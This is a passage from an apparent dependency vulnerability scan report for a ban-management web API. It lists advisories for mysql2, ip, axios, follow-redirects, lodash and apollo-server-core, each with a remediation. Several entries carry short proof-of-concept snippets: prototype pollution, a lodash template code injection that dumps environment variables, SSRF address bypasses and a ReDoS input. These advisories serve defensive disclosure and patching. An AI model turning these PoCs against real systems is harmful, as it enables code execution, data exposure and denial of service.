For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.20 or higher.

References

high severity

Data Amplification

  • Vulnerable module: mysql2
  • Introduced through: mysql2@2.1.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › mysql2@2.1.0
    Remediation: Upgrade to mysql2@3.23.1.

Overview

mysql2 is a mostly API compatible with mysqljs and supports majority of features.

Affected versions of this package are vulnerable to Data Amplification in the handleCompressedPacket() function of lib/compressed_protocol.js, which calls zlib.inflate(body, ...) without a maxOutputLength option and uses the packet's 3-byte length field only to branch on !== 0. An attacker can exhaust the client's memory and crash the process by returning a single small compressed packet that inflates to gigabytes at a DEFLATE ratio exceeding 1000:1. This requires the application to connect with compress: true, and the attacker to control or compromise the MySQL server endpoint or perform a MitM on a non-TLS connection.

Remediation

Upgrade mysql2 to version 3.23.1 or higher.

References

high severity

Insufficiently Protected Credentials

  • Vulnerable module: mysql2
  • Introduced through: mysql2@2.1.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › mysql2@2.1.0
    Remediation: Upgrade to mysql2@3.22.0.

Overview

mysql2 is a mostly API compatible with mysqljs and supports majority of features.

Affected versions of this package are vulnerable to Insufficiently Protected Credentials via the authSwitchRequest handling in lib/commands/auth_switch.js and the direct auth path in lib/commands/client_handshake.js. An attacker controlling a MySQL server or intercepting the connection can request mysql_clear_password during authentication and force the client to send the password in plaintext. This leaks user credentials over the network, letting the attacker capture login secrets and compromise accounts when the connection is not protected by TLS.

Remediation

Upgrade mysql2 to version 3.22.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: mysql2
  • Introduced through: mysql2@2.1.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › mysql2@2.1.0
    Remediation: Upgrade to mysql2@3.9.8.

Overview

mysql2 is a mostly API compatible with mysqljs and supports majority of features.

Affected versions of this package are vulnerable to Prototype Pollution due to improper user input sanitization passed to fields and tables when using nestTables.

PoC


const mysql = require('mysql2');
const connection = mysql.createConnection({
host: '127.0.0.1',
user: 'root',
database: 'test',
password: 'root',
});

let query_data = {
sql: `SELECT CAST('{"admin":true}' AS JSON)_proto__;`,
nestTables: "_",
};

connection.query(query_data, (err, results) => {

if (err) throw err;
console.log(Object.getPrototypeOf(results[0]));
console.log(results[0].admin);
});

connection.end();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mysql2 to version 3.9.8 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: ip@1.1.5

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › ip@1.1.5

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ip.isPublic() and ip.isPrivate() functions. An attacker can interact with internal network resources by supplying specially crafted IP address such as octal localhost format ("017700000001") that is incorrectly identified as public.

Note:

This issue exists because of an incomplete fix for CVE-2024-29415.

PoC

Test octal localhost bypass:

node -e "const ip=require('ip'); console.log('017700000001 bypass:', ip.isPublic('017700000001'));" - returns true

Remediation

There is no fixed version for ip.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: ip@1.1.5

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › ip@1.1.5

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ip.isPublic() and ip.isPrivate() functions. An attacker can interact with internal network resources by supplying specially crafted IP address such as null route ("0") that is being incorrectly identified as public.

Note: This issue exists because of an incomplete fix for CVE-2024-29415.

Exploit is only possible if the application and operating system interpret connection attempts to 0 or 0.0.0.0 as connections to 127.0.0.1.

PoC

Test null route bypass:

node -e "const ip=require('ip'); console.log('0 bypass:', ip.isPublic('0'));" - returns true

Remediation

There is no fixed version for ip.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: follow-redirects
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2 › follow-redirects@1.5.10
    Remediation: Upgrade to hibp@8.0.1.

Overview

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as X-API-Key, X-Auth-Token, Api-Key, Token). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.

Remediation

Upgrade follow-redirects to version 1.16.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: apollo-server-core
  • Introduced through: apollo-server-koa@1.4.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › apollo-server-koa@1.4.0 › apollo-server-core@1.4.0
    Remediation: Upgrade to apollo-server-koa@3.0.0.

Overview

apollo-server-core is a core module of the Apollo community GraphQL Server.

Affected versions of this package are vulnerable to Denial of Service (DoS) by accepting an unbounded amount of memory in the cache.

NOTE: The size of a cache can be limited with the cache: "bounded" option as of version 3.9.0.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade apollo-server-core to version 3.9.0 or higher.

References

high severity

Information Exposure

  • Vulnerable module: apollo-server-core
  • Introduced through: apollo-server-koa@1.4.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › apollo-server-koa@1.4.0 › apollo-server-core@1.4.0
    Remediation: Upgrade to apollo-server-koa@2.1.0.

Overview

apollo-server-core is a core module of the Apollo community GraphQL Server.

Affected versions of this package are vulnerable to Information Exposure. It does not properly enforce validation rules when creating subscription servers, which includes a NoInstrospection rule for the Websocket. This leaks the GraphQL schema types, their relations and human-readable names.

Remediation

Upgrade apollo-server-core to version 2.14.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the trim function.

PoC

// poc.js

var {trim} = require("axios/lib/utils");

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var time = Date.now();
trim(build_blank(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.21.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.15

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › lodash@4.17.15
    Remediation: Upgrade to lodash@4.17.17.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.

PoC

lodash.zipobjectdeep:

const zipObjectDeep = require("lodash.zipobjectdeep");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

lodash:

const test = require("lodash");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Improper Handling of Extra Parameters

  • Vulnerable module: follow-redirects
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2 › follow-redirects@1.5.10
    Remediation: Upgrade to hibp@8.0.1.

Overview

Affected versions of this package are vulnerable to Improper Handling of Extra Parameters due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

PoC

# Case 1 : Bypassing localhost restriction
let url = 'http://[localhost]/admin';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://localhost/admin
}

# Case 2 : Bypassing domain restriction
let url = 'http://attacker.domain*.allowed.domain:a';
try{
    new URL(url); // ERROR : Invalid URL
}catch{
    url.parse(url); // -> http://attacker.domain/*.allowed.domain:a
}

Remediation

Upgrade follow-redirects to version 1.15.4 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.15

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › lodash@4.17.15
    Remediation: Upgrade to lodash@4.17.17.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the set and setwith functions due to improper user input sanitization.

PoC

lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Code Injection

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.15

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › lodash@4.17.15
    Remediation: Upgrade to lodash@4.17.21.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection due the improper validation of options.variable key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

high severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

high severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

  • Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
  • IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
  • A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 0.30.0, 1.12.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

